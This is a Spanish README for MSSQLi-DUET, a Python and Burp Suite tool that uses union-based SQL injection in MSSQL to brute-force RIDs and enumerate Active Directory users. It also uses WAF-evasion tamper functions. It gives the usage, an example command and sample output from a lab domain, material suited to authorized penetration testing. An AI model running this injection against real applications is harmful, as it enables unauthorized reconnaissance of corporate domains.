
Script de inyección SQL para MSSQL que extrae usuarios del dominio de un entorno Active Directory mediante fuerza bruta de RID
Script de inyección SQL para MSSQL que extrae usuarios de dominio de un entorno de Active Directory basado en fuerza bruta de RID. Soporta diversas formas de técnicas de evasión de WAF mediante la implementación de funciones tamper de SQLmap. El usuario puede incorporar funciones tamper adicionales según la situación y el entorno.
Viene en dos versiones: un script de Python directo para uso en terminal, o un plugin de Burp Suite para una navegación gráfica simple.
Actualmente solo admite inyección basada en unión. Se requieren más muestras y casos de prueba para probar completamente la funcionalidad y precisión de la herramienta. Se agradecen enormemente los comentarios y sugerencias si se encuentra una situación en la que no funcione.
Personalizar el script y el plugin según sus necesidades tampoco debería ser demasiado difícil. Asegúrese de leer la sección Notas para solucionar algunos problemas.
Después de cargar el plugin en Burp Suite, haga clic derecho en una solicitud y envíela a MSSQLi-DUET. Más detalles sobre los parámetros y demás se describen a continuación.
La solicitud se completará en la ventana de solicitud, y solo es necesario completar los campos que están encima. Después de presionar ejecutar, el resultado se colocará en el cuadro de resultados para facilitar el copiado y pegado.
python3 mssqli-duet.py -h
usage: mssqli-duet.py [-h] -i INJECTION [-e ENCODING] -t TIME_DELAY -rid
RID_RANGE [-ssl SSL] -p PARAMETER [-proxy PROXY]
[-o OUTFILE] -r REQUEST_FILE
MSSQLi-DUET - MSSQL (Injection-based) Domain User Enumeration Tool
optional arguments:
-h, --help show this help message and exit
-i INJECTION, --injection INJECTION
Injection point. Provide only the data needed to
escape the query.
-e ENCODING, --encoding ENCODING
Type of encoding: unicode, doubleencode, unmagicquotes
-t TIME_DELAY, --time_delay TIME_DELAY
Time delay for requests.
-rid RID_RANGE, --rid_range RID_RANGE
Hypenated range of RIDs to bruteforce. Ex: 1000-1200
-ssl SSL, --ssl SSL Add flag for HTTPS
-p PARAMETER, --parameter PARAMETER
Vulnerable parameter
-proxy PROXY, --proxy PROXY
Proxy connection string. Ex: 127.0.0.1:8080
-o OUTFILE, --outfile OUTFILE
Outfile for username enumeration results.
-r REQUEST_FILE, --request_file REQUEST_FILE
Raw request file saved from Burp
Prepare to be enumerated!
Después de identificar una inyección SQL basada en unión en una aplicación, copie la solicitud original de Burp Suite usando la función 'copiar a archivo'.
Pase la solicitud guardada a DUET con la bandera -r. Especifique el parámetro vulnerable y el punto de inyección. Como ejemplo, si el parámetro "element" es susceptible a inyección SQL, -p será "element". DUET construirá todas las consultas de inyección SQL automáticamente, pero se debe proporcionar la especificación para la inyección inicial. Es decir, si la inyección ocurre debido a una comilla simple después de los datos del parámetro, esto es lo que se especificaría para el argumento -i.
Ex: test'
test'))
test")"
python3 mssqli-duet.py -i "carbon'" -t 0 -rid 1000-1200 -p element -r testrequest.req -proxy 127.0.0.1:8080
[+] Collected request data:
Target URL = http://192.168.11.22/search2.php?element=carbon
Method = GET
Content-Type = applcation/x-www-form-urlencoded
[+] Determining the number of columns in the table...
[!] Number of columns is 3
[+] Determining column type...
[!] Column type is null
[+] Discovering domain name...
[+] Domain = NEUTRINO
[+] Discovering domain SID...
S-1-5-21-4142252318-1896537706-4233180933-
[+] Enumerating Active Directory via SIDs...
NEUTRINO\HYDROGENDC01$
NEUTRINO\DnsAdmins
NEUTRINO\DnsUpdateProxy
NEUTRINO\HELIUM$
NEUTRINO\BORON$
NEUTRINO\BERYLLIUM$
NEUTRINO\aeinstein
NEUTRINO\bbobberson
NEUTRINO\csagan
NEUTRINO\ccheese
NEUTRINO\svc_web
NEUTRINO\svc_sql
Es posible que sea necesario modificar el script según las limitaciones de conversión y tipo de las columnas que se descubran.
Esto incluye modificaciones para cambiar la posición de la columna del payload, y también modificar las cadenas de consulta para tener en cuenta los tipos de columna que no generarán errores.
Además, la lógica para determinar el número de columnas actualmente no es la mejor, y es posible que sea necesario comentar ciertas comparaciones para asegurar una determinación adecuada.
En general, eche un vistazo a las solicitudes que se envían en Burp y adapte el script según sea necesario al entorno de inyección SQL en el que se encuentre.
https://blog.netspi.com/hacking-sql-server-procedures-part-4-enumerating-domain-accounts/